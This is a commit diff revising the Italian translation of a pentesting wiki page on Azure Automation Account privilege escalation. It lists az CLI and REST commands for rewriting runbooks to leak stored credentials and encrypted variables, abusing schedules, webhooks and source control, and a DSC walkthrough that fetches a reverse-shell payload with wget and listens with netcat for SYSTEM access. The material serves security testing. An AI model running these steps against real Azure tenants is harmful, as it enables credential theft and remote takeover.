Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 21:07:18 +00:00
parent 4456992340
commit 78f7b0f8f1
@@ -4,7 +4,7 @@
## Azure Automation Accounts
Per ulteriori informazioni controlla:
Per maggiori informazioni consulta:
{{#ref}}
../az-services/az-automation-accounts.md
@@ -12,29 +12,29 @@ Per ulteriori informazioni controlla:
### Hybrid Workers Group
- **Dall'Automation Account alla VM**
- **From the Automation Account to the VM**
Ricorda che se in qualche modo un attaccante può eseguire un runbook arbitrario (codice arbitrario) in un hybrid worker, egli **si sposterà verso la posizione della VM**. Questa potrebbe essere una macchina on-premise, una VPC di un altro cloud o anche una VM di Azure.
Ricorda che se in qualche modo un attacker può eseguire un runbook arbitrario (codice arbitrario) in un hybrid worker, potrà **pivotare verso la posizione della VM**. Questa potrebbe essere una macchina on-premise, una VPC di un altro cloud o anche una Azure VM.
Inoltre, se l'hybrid worker è in esecuzione in Azure con altre Managed Identities collegate, il runbook sarà in grado di accedere all'**identità gestita del runbook e a tutte le identità gestite della VM dal servizio metadata**.
Inoltre, se l'hybrid worker sta girando in Azure con altre Managed Identities attachate, il runbook potrà accedere alla **managed identity del runbook e a tutte le managed identities della VM tramite il metadata service**.
> [!TIP]
> Ricorda che il **servizio metadata** ha un URL diverso (**`http://169.254.169.254`**) rispetto al servizio da cui ottenere il token delle identità gestite dell'automation account (**`IDENTITY_ENDPOINT`**).
> Ricorda che il **metadata service** ha una URL diversa (**`http://169.254.169.254`**) rispetto al servizio da cui ottenere il token delle managed identities dell'automation account (**`IDENTITY_ENDPOINT`**).
- **Dalla VM all'Automation Account**
- **From the VM to the Automation Account**
Inoltre, se qualcuno compromette una VM in cui è in esecuzione uno script dell'automation account, sarà in grado di localizzare i metadati dell'**Automation Account** e accedervi dalla VM per ottenere token per le **Managed Identities** collegate all'Automation Account.
Inoltre, se qualcuno compromette una VM dove gira uno script di un Automation Account, sarà in grado di localizzare i metadata dell'Automation Account e accedervi dalla VM per ottenere token per le Managed Identities associate all'Automation Account.
Come è possibile vedere nell'immagine seguente, avendo accesso da Amministratore sulla VM è possibile trovare nelle **variabili d'ambiente del processo** l'URL e il segreto per accedere al servizio metadata dell'automation account:
Come si può vedere nell'immagine seguente, avendo accesso Administrator sulla VM è possibile trovare nelle **environment variables del processo** l'URL e il secret per accedere al automation account metadata service:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
In sintesi, queste autorizzazioni consentono di **creare, modificare ed eseguire Runbooks** nell'Automation Account che potresti utilizzare per **eseguire codice** nel contesto dell'Automation Account e aumentare i privilegi alle **Managed Identities** assegnate e rivelare **credenziali** e **variabili criptate** memorizzate nell'Automation Account.
In sintesi queste permission permettono di **creare, modificare ed eseguire Runbooks** nell'Automation Account, che potresti usare per **eseguire codice** nel contesto dell'Automation Account ed escalare privilegi alle Managed Identities assegnate e leak **credenziali** e **variabili criptate** memorizzate nell'Automation Account.
L'autorizzazione **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** consente di modificare il codice di un Runbook nell'Automation Account utilizzando:
La permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permette di modificare il codice di un Runbook nell'Automation Account usando:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Nota come lo script precedente può essere utilizzato per **leakare il nome utente e la password** di una credenziale e il valore di una **variabile crittografata** memorizzata nell'Automation Account.
Nota come lo script precedente può essere usato per il **leak dello username e della password** di una credenziale e il valore di una **variabile cifrata** memorizzata nell'Automation Account.
Il permesso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** consente all'utente di pubblicare un Runbook nell'Automation Account affinché le modifiche vengano applicate:
Il permesso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permette all'utente di pubblicare un Runbook nell'Automation Account in modo che le modifiche vengano applicate:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Il permesso **`Microsoft.Automation/automationAccounts/jobs/write`** consente all'utente di eseguire un Runbook nell'Automation Account utilizzando:
Il permesso **`Microsoft.Automation/automationAccounts/jobs/write`** consente all'utente di eseguire un Runbook nell'Automation Account tramite:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Il permesso **`Microsoft.Automation/automationAccounts/jobs/output/read`** consente all'utente di leggere l'output di un lavoro nell'Automation Account utilizzando:
Il permesso **`Microsoft.Automation/automationAccounts/jobs/output/read`** consente all'utente di leggere l'output di un job nell'Automation Account usando:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Se non ci sono Runbook creati, o se desideri crearne uno nuovo, avrai bisogno delle **autorizzazioni `Microsoft.Resources/subscriptions/resourcegroups/read` e `Microsoft.Automation/automationAccounts/runbooks/write`** per farlo utilizzando:
Se non sono stati creati Runbooks, o vuoi crearne uno nuovo, avrai bisogno delle **autorizzazioni `Microsoft.Resources/subscriptions/resourcegroups/read` e `Microsoft.Automation/automationAccounts/runbooks/write`** per farlo usando:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Questa autorizzazione consente all'utente di **assegnare un'identità gestita dall'utente** all'Automation Account utilizzando:
Questa autorizzazione permette all'utente di **assign a user managed identity** all'Automation Account usando:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Con il permesso **`Microsoft.Automation/automationAccounts/schedules/write`** è possibile creare un nuovo Programma nell'Account di Automazione che viene eseguito ogni 15 minuti (non molto furtivo) utilizzando il seguente comando.
Con il permesso **`Microsoft.Automation/automationAccounts/schedules/write`** è possibile creare un nuovo Schedule nell'Automation Account che viene eseguito ogni 15 minuti (non molto stealth) utilizzando il seguente comando.
Nota che l'**intervallo minimo per un programma è di 15 minuti**, e che il **tempo di inizio minimo è di 5 minuti** nel futuro.
Nota che l'**intervallo minimo per uno Schedule è di 15 minuti**, e che il **tempo di inizio minimo è di 5 minuti** a partire da ora.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Quindi, con il permesso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** è possibile assegnare un Scheduler a un runbook utilizzando:
Poi, con il permesso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** è possibile assegnare uno Scheduler a un runbook usando:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> Nell'esempio precedente, l'ID del jobchedule è stato lasciato come **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` come esempio** ma dovrai utilizzare un valore arbitrario per creare questo assegnamento.
> Nell'esempio precedente l'id jobchedule è stato lasciato come **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` come esempio** ma dovrai usare un valore arbitrario per creare questa assegnazione.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Con il permesso **`Microsoft.Automation/automationAccounts/webhooks/write`** è possibile creare un nuovo Webhook per un Runbook all'interno di un Automation Account utilizzando il seguente comando.
Con il permesso **`Microsoft.Automation/automationAccounts/webhooks/write`** è possibile creare un nuovo Webhook per un Runbook all'interno di un Automation Account usando uno dei seguenti comandi.
Con Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Questo comando dovrebbe restituire un URI webhook che viene visualizzato solo al momento della creazione. Quindi, per chiamare il runbook utilizzando l'URI webhook
Con AzureCLI e REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Questi comandi dovrebbero restituire un webhook URI che viene visualizzato solo alla creazione. Poi, per invocare il runbook usando il webhook URI
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Con solo il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` è possibile **aggiornare il codice di un Runbook** senza pubblicarlo ed eseguirlo utilizzando i seguenti comandi.
Solo con il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` è possibile **aggiornare il codice di un Runbook** senza pubblicarlo e avviarlo utilizzando i seguenti comandi.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Questa autorizzazione consente all'utente di **configurare un controllo sorgente** per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio):
Questa autorizzazione consente all'utente di **configurare il controllo del codice sorgente** per l'Automation Account usando un comando come il seguente (in questo esempio viene usato Github):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Questo importerà automaticamente i runbook dal repository Github all'Automation Account e con alcuni altri permessi per iniziare a eseguirli sarebbe **possibile escalare i privilegi**.
Questo importerà automaticamente i runbook dal repository Github nell'Automation Account e, con alcune altre autorizzazioni per avviarne l'esecuzione, sarebbe **possibile elevare i privilegi**.
Inoltre, ricorda che per il controllo del codice sorgente per funzionare negli Automation Accounts deve avere un'identità gestita con il ruolo **`Contributor`** e se è un'identità gestita dall'utente, l'ID client della MI deve essere specificato nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity the cleint id of the MI must be specified in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Nota che non è possibile cambiare l'URL del repo di un controllo del codice sorgente una volta creato.
> Nota che non è possibile modificare l'URL del repo di uno source control una volta creato.
### `Microsoft.Automation/automationAccounts/variables/write`
Con il permesso **`Microsoft.Automation/automationAccounts/variables/write`** è possibile scrivere variabili nell'Automation Account utilizzando il seguente comando.
Con il permesso **`Microsoft.Automation/automationAccounts/variables/write`** è possibile scrivere variabili nell'Automation Account usando il seguente comando.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -213,31 +231,31 @@ az rest --method PUT \
}
}'
```
### Ambienti di Esecuzione Personalizzati
### Ambienti di runtime personalizzati
Se un account di automazione utilizza un ambiente di esecuzione personalizzato, potrebbe essere possibile sovrascrivere un pacchetto personalizzato dell'ambiente con del codice malevolo (come **una backdoor**). In questo modo, ogni volta che un runbook che utilizza quell'ambiente personalizzato viene eseguito e carica il pacchetto personalizzato, il codice malevolo verrà eseguito.
Se un automation account usa un custom runtime, potrebbe essere possibile sovrascrivere un pacchetto custom del runtime con del codice malevolo (come **una backdoor**). In questo modo, ogni volta che un runbook che usa quel custom runtime viene eseguito e carica il pacchetto custom, il codice malevolo verrà eseguito.
### Compromissione della Configurazione di Stato
### Compromissione della State Configuration
**Controlla il post completo in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Leggi il post completo su:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Passo 1 — Creare File
- Step 1 — Creazione dei file
**File Richiesti:** Sono necessari due script PowerShell:
1. `reverse_shell_config.ps1`: Un file di Configurazione di Stato Desiderato (DSC) che recupera ed esegue il payload. È disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
**File necessari:** Sono necessari due script PowerShell:
1. `reverse_shell_config.ps1`: Un file Desired State Configuration (DSC) che recupera ed esegue il payload. È reperibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Uno script per pubblicare la configurazione sulla VM, disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Personalizzazione:** Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori di server/payload.
**Personalizzazione:** Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori del server/payload.
- Passo 2 — Comprimere il File di Configurazione
- Step 2 — Zip del file di configurazione
Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, rendendolo pronto per il trasferimento all'Azure Storage Account.
Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, pronto per il trasferimento su Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Passo 3 — Imposta il contesto di archiviazione e carica
- Passo 3 — Imposta contesto Storage & Upload
Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.
Il file di configurazione zippato viene caricato in un container di Azure Storage predefinito, azure-pentest, usando il cmdlet Set-AzStorageBlobContent di Azure.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
@@ -247,19 +265,19 @@ Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Lo script viene modificato per specificare la VM Windows target e la porta per la reverse shell.
Lo script viene modificato per specificare la Windows VM di destinazione e la porta per il reverse shell.
- Step 5 — Pubblica il file di configurazione
Il file di configurazione viene eseguito, risultando nel deployment dello script della reverse shell nella posizione specificata sulla VM Windows.
Il file di configurazione viene eseguito, facendo sì che lo script di reverse-shell venga distribuito nella posizione specificata sulla Windows VM.
- Step 6 — Ospita il payload e imposta il listener
- Step 6 — Ospita il payload e configura il listener
Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Il compito pianificato esegue il payload, ottenendo privilegi a livello di SYSTEM.
Il scheduled task esegue il payload, ottenendo privilegi di livello SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}